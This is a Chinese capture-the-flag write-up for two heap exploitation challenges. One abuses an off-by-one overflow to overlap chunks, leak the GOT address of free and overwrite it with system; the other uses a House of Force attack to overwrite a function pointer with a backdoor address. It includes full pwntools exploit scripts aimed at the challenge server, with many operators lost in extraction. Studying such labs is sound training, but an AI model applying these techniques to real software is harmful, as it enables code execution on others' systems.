初步探索off-by-one和house of forcepwn142保护main函数上来还是一样限制了一下主要还是一个菜单的功能跟刚刚的比多了一个edit的功能一个个看吧可以看到这边第14行和第24行在使用malloc申请动态分配内存一开始是遍历了heaparray数组寻找第一个空指针的位置然后分配0x10字节作为头结构存入heaparray[i]然后第二个是根据用户输入的size分配一个size字节的内存卡存在头结构的后8字节最后把size存在头结构的前8字节0x10 字节头结构malloc(0x10) 分配的16字节 ┌──────────────────────┬──────────────────────┐ │ 前8字节 │ 后8字节 │ ├──────────────────────┼──────────────────────┤ │ 存储size值 │ 存储data_ptr │ │ (用户输入的大小) │ (指向数据块的指针) │ └──────────────────────┴──────────────────────┘大概就是这样子之后v08又分配了一块size大小的区域来存输入内容read_input(*(_QWORD *)(*((_QWORD *)heaparray i) 8LL), size);最多写长度size的内容到数据块之后是edit_heap可以看到核心在于这一句read_input(*(void **)(*((_QWORD *)heaparray v1) 8LL), **((_QWORD **)heaparray v1) 1LL);*((_QWORD *)heaparray v1) 8LL就是存内容的地方重点在于第二个参数**((_QWORD **)heaparray v1) 1LL**((_QWORD **)heaparray v1)已经获取了头结构前8字节存储的size值但是传递给内存的时候却是size1多传了1字节假设一开始我们输入了size16数据块分配malloc(16) 获得16字节 创建时写入read_input(ptr, 16) 最多写入16字节 ✓ 编辑时写入read_input(ptr, 161) 最多写入17字节 ✗导致我们写了17字节分配却只分配了16那剩下一个字节显而易见会发生溢出到相邻的chunk里这明显是这一题的漏洞点这一题应该就是off-by-one宣传片了我们继续往下看printf( Size : %ld\nContent : %s\n, **((_QWORD **)heaparray v1), *(const char **)(*((_QWORD *)heaparray v1) 8LL));继续往下看这个是show_heap函数这边用的还是%s很容易让人想到got表地址泄露最后就是delete利用free释放了但是这边指针置空只置空了一个另一个没置空仍然可能存在UAF所以明白了我们可以利用edit部分的off-by-one改下一个chunk的siz而部分然后第一个chunk的后8字节是第二个chunk的指针如果我们改成got表即可泄露libc在此之前我们其实可以先看看这个单字节溢出的现象这是一开始申请chunk的时候我们知道chunk2才是放的地方过去看看果然可以看到我们写的16个A当我们输入2去edit然后在索引0处写入17个A后发现了有一个明显溢出了在这边是因为小端序即低地址存储数据的低位字节而这个字节一般是相邻chunk的最低字节也就是LSB最低有效字节大部分情况下都是可以拿来修改下一个chunk的size这就可以拿来造成堆块复用了即使得两种或多个已分配的堆块在内存上重叠从而可以通过其中一个堆块访问另一个堆块的数据举个例子假设一开始有三个连续的堆块低地址 高地址 ┌─────┬─────────┬─────┬─────────┬─────┬─────────┐ │A头部│A数据区 │B头部│B数据区 │C头部│C数据区 │ │0x100│(0xf0字节)│0x101│(0xf0字节)│0x101│(0xf0字节)│ └─────┴─────────┴─────┴─────────┴─────┴─────────┘现在我们通过这个漏洞修改了B的size为0x180(不包括头部)低地址 高地址 ┌─────┬─────────┬─────┬─────────────────────────┐ │A头部│A数据区 │B头部│B扩展数据区 │ │0x100│(0xf0字节)│0x181│(0x170字节) │ ├─────┴─────────┴─────┴─────────────────────────┤ │ 实际上B扩展数据区包含了原本的B数据区和C的全部 │ └───────────────────────────────────────────────┘发现chunkB的范围变大了甚至包含了原来属于chunkC的那部分那么这个时候我们释放并重新分配chunkB就会申请一个新的大小为0x180的chunk会把刚刚释放的chunkB分配给我们这就导致了新分配的chunkB和chunkC直接重叠了低地址 高地址 ┌─────┬─────────┬─────┬─────────────────────────┐ │A头部│A数据区 │B头部│B数据区 │ │0x100│(0xf0字节)│0x181│(0x170字节) │ ├─────┴─────────┴─────┼─────┬─────────────────┤ │ │C头部│C数据区 │ │ │0x101│(0xf0字节) │ └──────────────────────┴─────┴─────────────────┘于是我们可以直接通过新分配的chunkB来读取chunkC包括它的size头部和数据回到本题我想我们应该开始就题论题分析了我们先写好定义好各个函数方便后期调用开始动调from pwn import * context(archamd64,oslinux,log_leveldebug) io process(./pwn142) elf ELF(./pwn142) s lambda data :io.send(data) sa lambda delim,data :io.sendafter(str(delim), data) sl lambda data :io.sendline(data) sla lambda delim,data :io.sendlineafter(str(delim), data) r lambda num :io.recv(num) ru lambda delims, dropTrue :io.recvuntil(delims, drop) rl lambda :io.recvline() itr lambda :io.interactive() uu32 lambda data :u32(data.ljust(4,b\x00)) uu64 lambda data :u64(data.ljust(8,b\x00)) ls lambda data :log.success(data) lss lambda s :log.success(\033[1;31;40m%s -- 0x%x \033[0m % (s, eval(s))) def cmd(x): ru(choice :) sl(str(x)) def create(size,data): cmd(1) ru(Size of Heap : ) sl(str(size)) ru(Content of heap:) s(data) def edit(idx,data): cmd(2) ru(Index :) sl(str(idx)) ru(Content of heap : ) sl(data) def show(idx): cmd(3) ru(Index :) sl(str(idx)) def delete(idx): cmd(4) ru(Index :) sl(str(idx)) def exit(): cmd(5)OK战前准备已完成我们进行下一步动调先来create两次申请每次申请两个内存也就是四个内存create(0x18,baaaa) create(0x10,bbbbb) gdb.attach(io) pause()这边第一个是主要的第二个10只是为了区分在内存里便于区分而这个第一个的0x18也有讲究毕竟64位系统讲究一个16字节对齐所以当我们请求malloc的时候会向上对齐现在这一个0x18加上头部开销大概是0x20字节正好把下一个chunk的size位置读完保证溢出一个字节就能覆盖到size发现不管是内容还是长度都被存在里边了可以看到第一个chunk0的结束地址和chunk1头结构的开始地址差多少后边都要用a补齐我们继续执行edit来实现off-by-one我们一开始可以申请了0x16的size所以这边edit可以写0x17为了方便后期实现system(/bin/sh)我们需要一个后期将free的got表劫持为system函数而现在这个地方就轮到我们放/bin/sh了放完要覆盖后边的大小所以最后得写一个\x41来改变下一个chunk的size而剩下的部分用a补齐即可edit(0,/bin/sh\x00a*0x10\x41)于是现在chunk 0的数据区开头就是/bin/sh\x00发现发生了数量变化且刚刚的Size0x21变成了Size0x41这主要是我们修改了Size为0x41于是根据这个Size遍历完这个chunk之后发现是top chunk于是也就没想到后边还有个chunk重叠只显示仨了接下来我们进行删除delete(1)发现我明明只是free了一个chunk但是这边显示的tcache却是两个这就是我们攻击的核心你可以看到这边已经检测出来了overlap chunk with的提示即存在堆块重叠这个时候我们再一次执行createcreate(0x30, p64(elf.got[free]) * 4 p64(0x30) p64(elf.got[free]))这边两次malloc第一次申请了0x20的那个fastbin第二次申请了那个0x40的fastbin两次申请之后成功形成了堆块重叠通过这个我们就能写入内容了我们本来对这个chunk1是没有写的权限的我们只能写大小存到chunk0才是但是利用这个堆块重叠我们就可以写入chunk1从而写出我们想要的了之后通过show(1)进行真实地址泄露后边就是ret2libc环节了在这边我们最后的修改edit前还是free的真实地址修改完之后就变成了system函数结合之前的/bin/sh这个/bin/sh早就被我们藏在第一组chunk的chunk2中当我们试图去delete也就是free这个chunk2的时候其实发生了的是system(/bin/sh)于是成功from pwn import * from LibcSearcher import * context(archamd64,oslinux,log_leveldebug) io remote(pwn.challenge.ctf.show,28129) #io process(./pwn142) elf ELF(./pwn142) s lambda data :io.send(data) sa lambda delim,data :io.sendafter(str(delim), data) sl lambda data :io.sendline(data) sla lambda delim,data :io.sendlineafter(str(delim), data) r lambda num :io.recv(num) ru lambda delims, dropTrue :io.recvuntil(delims, drop) rl lambda :io.recvline() itr lambda :io.interactive() uu32 lambda data :u32(data.ljust(4,b\x00)) uu64 lambda data :u64(data.ljust(8,b\x00)) ls lambda data :log.success(data) lss lambda s :log.success(\033[1;31;40m%s -- 0x%x \033[0m % (s, eval(s))) def cmd(x): ru(choice :) sl(str(x)) def create(size,data): cmd(1) ru(Size of Heap : ) sl(str(size)) ru(Content of heap:) s(data) def edit(idx,data): cmd(2) ru(Index :) sl(str(idx)) ru(Content of heap : ) sl(data) def show(idx): cmd(3) ru(Index :) sl(str(idx)) def delete(idx): cmd(4) ru(Index :) sl(str(idx)) def exit(): cmd(5) create(0x18,baaaa) create(0x10,bbbbb) edit(0,/bin/sh\x00a*0x10\x41) delete(1) create(0x30, p64(elf.got[free]) * 4 p64(0x30) p64(elf.got[free])) show(1) ru(Content : ) free_addr uu64(r(6)) print(hex(free_addr)) libc LibcSearcher(free,free_addr) libc_base free_addr - libc.dump(free) system libc_base libc.dump(system) edit(1,p64(system)) delete(0) itr()选择4得到flagpwn143来试试简单的堆利用吧保护来定位一下main函数发现这个很显眼v4 (void (**)(void))malloc(0x10uLL); *v4 (void (*)(void))hello_message; v4[1] (void (*)(void))goodbye_message; (*v4)();上来就分配了一个0x10的堆块然后还转化类型为指向函数指针的指针所以v4本质上是包含两个函数指针的数组第一个元素是指向hello_message函数的指针第二个元素是指向goodbye_message函数的指针接着读菜单先还是很明确的内容依旧一个个来看首先是show函数可以看到就是用printf输出了i和*((const char **)unk_6020A8 2 * i)就是输出而已全部输出之后是add函数可以看到这边先read输入了以此长度之后用了atoi可能存在整数溢出再到后边*((_QWORD *)unk_6020A8 2 * i) malloc(v2); printf(Please enter the name:); *(_BYTE *)(*((_QWORD *)unk_6020A8 2 * i) (int)read(0, *((void **)unk_6020A8 2 * i), v2)) 0;可以看到这边申请了一个大小为我们输入size的chunk指针在unk_6020A8 2 * i然后通过read从标准输入里读取最多v2字节内容到新分配的内存里去这最后一句看着很多括号不方便其实可以放到vscode看看括号有颜色就清楚多了总体是*(_BYTE *)(基地址 读取字节数) 0的结构就是在这个申请的地方写最多v2个字节最后最外层的*(_BYTE *)将最终地址转换为字节指针赋值0写入一个空字节\0好接下来继续看吧edit函数先问索引来确定要编辑的指向chunk的指针位置之后让我们输入了一个长度size又调用了跟上边差不多的这个玩意写进去*(_BYTE *)(*((_QWORD *)unk_6020A8 2 * v1) (int)read(0, *((void **)unk_6020A8 2 * v1), v2)) 0;但是这边存在一个很高危的漏洞printf(Please enter the length of name:); read(0, nptr, 8uLL); v2 atoi(nptr);这边对于我们输入的长度nptr根本就没有长度检测可以造成堆溢出后边deletefree这边有对指针进行置空不存在UAF最后是exit这边比较奇怪不是直接一个函数是先这样子执行了一个v4[1]的函数再去调用的exit交叉引用可以看到v4[1] (void (*)(void))goodbye_message;puts了一个内容后边就exit了最后还有一个超级显眼的后门函数函数名长的直接怼脸上了这边我们可以对现有的可攻击面进行一个汇总首先是明白edit这边有一个堆溢出的漏洞再加上show()函数会一口气输出所有的chunk的序号和内容包括存在后门函数v4[1]存储的函数会在exit前执行一次于是我们开启了本题目的漏洞研究也就是house of force攻击https://www.cnblogs.com/ZIKH26/articles/16533388.html总而言之在早期的libc版本中由于是没有对top chunk的size合法性进行检查因此当我们能控制size或者malloc申请大小不受限制的时候就能利用这个漏洞。这是一种堆利用具体就是当malloc执行的时候如果发现没有任何的bins中的堆块满足需求的时候就会直接从top chunk里边去切下一块内存给malloc当然了前提是top chunk有那么多的内存供我们切割所以这一种house of force的堆利用其实就是通过对top chunk的操控来达到修改关键内存区域的目的简单来说top chunk就是堆中最末端未被分配使用的部分一般是通过改变top chunk的size字段改成极大值于是如果我想控制目标地址的内存就只需要计算目标地址 - 当前top chunk地址 - 头部大小得到的值就是需要malloc的部分只要malloc了这些top chunk的指针就会到目标地址这边从而top chunk就会挪到这个地方于是下一次malloc就会在目标地址处分配了攻击条件缺一不可 1能修改top chunk的size通常通过堆溢出实现 2能控制分配大小malloc()的参数可控 3分配次数不受限能多次调用malloc()一旦成功了就能让malloc返回到GOT表、栈上变量数据结构等部分导致修改函数、修改返回地址或甚至实现任意读写这些条件里最限制的就是对于malloc控制的自由度很多题目会限制申请chunk的size范围和次数这一题显然毫无顾虑啊就是对于house of force的简单应用明显是让我们去修改这个v4[1]这个函数的地址给它修改成那个后门的修改思路还是很清晰的我们开始动调说到这个我们其实也可以def一个动调函数方便我们后续动调感觉还是蛮不错的from pwn import * context(archamd64,oslinux,log_leveldebug) io process(./pwn143) elf ELF(./pwn143) def menu(x): io.sendlineafter(Your choice:,str(x)) def show(): menu(1) def add(size,name): menu(2) io.sendlineafter(length:,str(size)) io.sendlineafter(the name:,name) def edit(idx,size,name): menu(3) io.sendlineafter(Please enter the index:,str(idx)) io.sendlineafter(length of name:,str(size)) io.sendlineafter(new name:,name) def delete(idx): menu(4) io.sendlineafter(index:,str(idx)) def exit(): menu(5) def stop(): gdb.attach(io) pause()根据上边分析的我们知道这个v4[1]指向的是goodbye这个函数我们想利用这个给它改成flag那个函数所以我们目标就是修改这个v4[1]目标地址就是v4[1]目标地址 - 当前top chunk地址 - 头部大小我们先随便申请一个看看v4[1]离top chunk的距离顺便为后来修改top chunk的size做准备先add一个过去add(0x30,baaaa)我们知道上边那一个红色箭头就是一开始v4 (void (**)(void))malloc(0x10uLL);创建的堆块而我们想知道这个距离top chunk的距离这边有一个叫做distance的函数很好用直接就算好了是0x60手算也不慢这就是v4[1]和top chunk的距离还是很好理解的。这主要是为了后期把top chunk的header提到v4[1]的header接下来我们还需要知道我们申请的chunk要写多少才能覆盖掉这个top chunk的size因此还是要算这边第一个是我们add申请的chunk的addr加0x10这个0x10是header的大小我们在这边0x10就到了data部分也就是数据区这也就是堆块的结构嘛| 前一个堆块大小 | 当前堆块大小 | 数据区 | |-----8字节-----|-----8字节-----|-------|所以我们这边需要测算的是我们数据区到top chunk的size区的距离大致理解一下可视化如下-------------------- | prev_size (8字节) | 0x27d9b020 | size (8字节) | 0x27d9b028 | 数据区开始 | 0x27d9b030 ---------------------------------------- | top chunk: | | prev_size (8字节) | 0x27d9b060 | size (8字节) | 0x27d9b068 ← 我们要攻击的位置 --------------------所以这边是一个distance ...0x10 ...0x8的设计可以看到其实是0x38因此我们中间只需要写0x38的长度过去即可过去之后再给size覆盖成一个巨大值edit(0,0x50,ba*(0x38)p64(0xffffffffffffffff))这可写入的length其实申请多少都可以0x50够用后边的0xffffffffffffffff其实这边用不到那么多只有如果我们需要攻击GOT表或者别的的时候需要大size可以看到这一个top chunk的size已经成功被我们修改了接下来去修改v4[1]包含的函数指针即可我们刚刚已经探测出来两者相差0x60了也就是说按道理我们要控制top chunk移动(-0x60)但是这边不能直接写-0x60因为glibc的malloc有一个强制对齐的操作((req) SIZE_SZ MALLOC_ALIGN_MASK) ~MALLOC_ALIGN_MASK这边的req是我们申请的大小也就是malloc的参数剩下的SIZE_SZ是额外的空间这是因为我们的chunk实际上是会利用到物理意义上的下一个chunk的pre_size部分的所以如果我们需要X大小的空间只需要X-0x8的data长度。再加上0x10的header长度也就是X0x8的长度所以这个额外的空间在64位就是0x8在32位就是0x4最后这个MALLOC_ALIGN_MASK就是强制要求十六字节对齐要求分配的内存大小得是0x10的倍数总结来说如果我们申请了X字节实际上需要的是X0x8字节的空间最后还要对齐到0x10倍数所以我们这边回到题目必须移动-(0x600x8)的空间千万不能是原来的-0x60否则只移动-0x600x8-0x58了再对齐一下只移动-0x50了少了整整0x10这边还要注意如果我的目标位置不像现在这样子是0x10的倍数的时候我们需要往前多申请一些距离自动对齐但是如果本来数据就是0x10的倍数呢岂不是多申请了问题大了其实有的时候也可以偷懒直接这样子记distancesize_sz0xf这样子就无论是不是都行了这边算好了这个size之后不能add新建了毕竟我们写的add函数有size和data两个参数但是我们传的负数负数是不能读取内容的用add函数会卡住size-(0x600x8) menu(2) io.recvuntil(bPlease enter the length:) io.sendline(str(size))这样子就好可以看到现在我们的top chunk已经在这边了我们要在v4的地方进行malloc了我们add申请一个chunk我们知道这个地址现在已经是v4的地址了前8字节是v4[0]后8字节才是v4[1]而我们要改的就是v4[1]因此申请好后在v4[1]的地方填入后门函数的地址backdoor 0x0400D7F这边一共申请0x10个size前0x8随便过主要需要修改的是v4[1]改成这个backdoor即可也就是add(0x10,ba*8p64(0x400D7F))OK最后直接调用v4[1]即可也就是走一趟menu(5)完全理顺脚本如下from pwn import * context(archamd64,oslinux,log_leveldebug) io remote(pwn.challenge.ctf.show,28190) elf ELF(./pwn143) def menu(x): io.sendlineafter(Your choice:,str(x)) def show(): menu(1) def add(size,name): menu(2) io.sendlineafter(length:,str(size)) io.sendlineafter(the name:,name) def edit(idx,size,name): menu(3) io.sendlineafter(Please enter the index:,str(idx)) io.sendlineafter(length of name:,str(size)) io.sendlineafter(new name:,name) def delete(idx): menu(4) io.sendlineafter(index:,str(idx)) def exit(): menu(5) def stop(): gdb.attach(io) pause() add(0x30,baaaa) edit(0,0x50,ba*(0x38)p64(0xffffffffffffffff)) size-(0x600x8) menu(2) io.recvuntil(bPlease enter the length:) io.sendline(str(size)) add(0x10,ba*8p64(0x400D7F)) menu(5) io.interactive()成功得到flag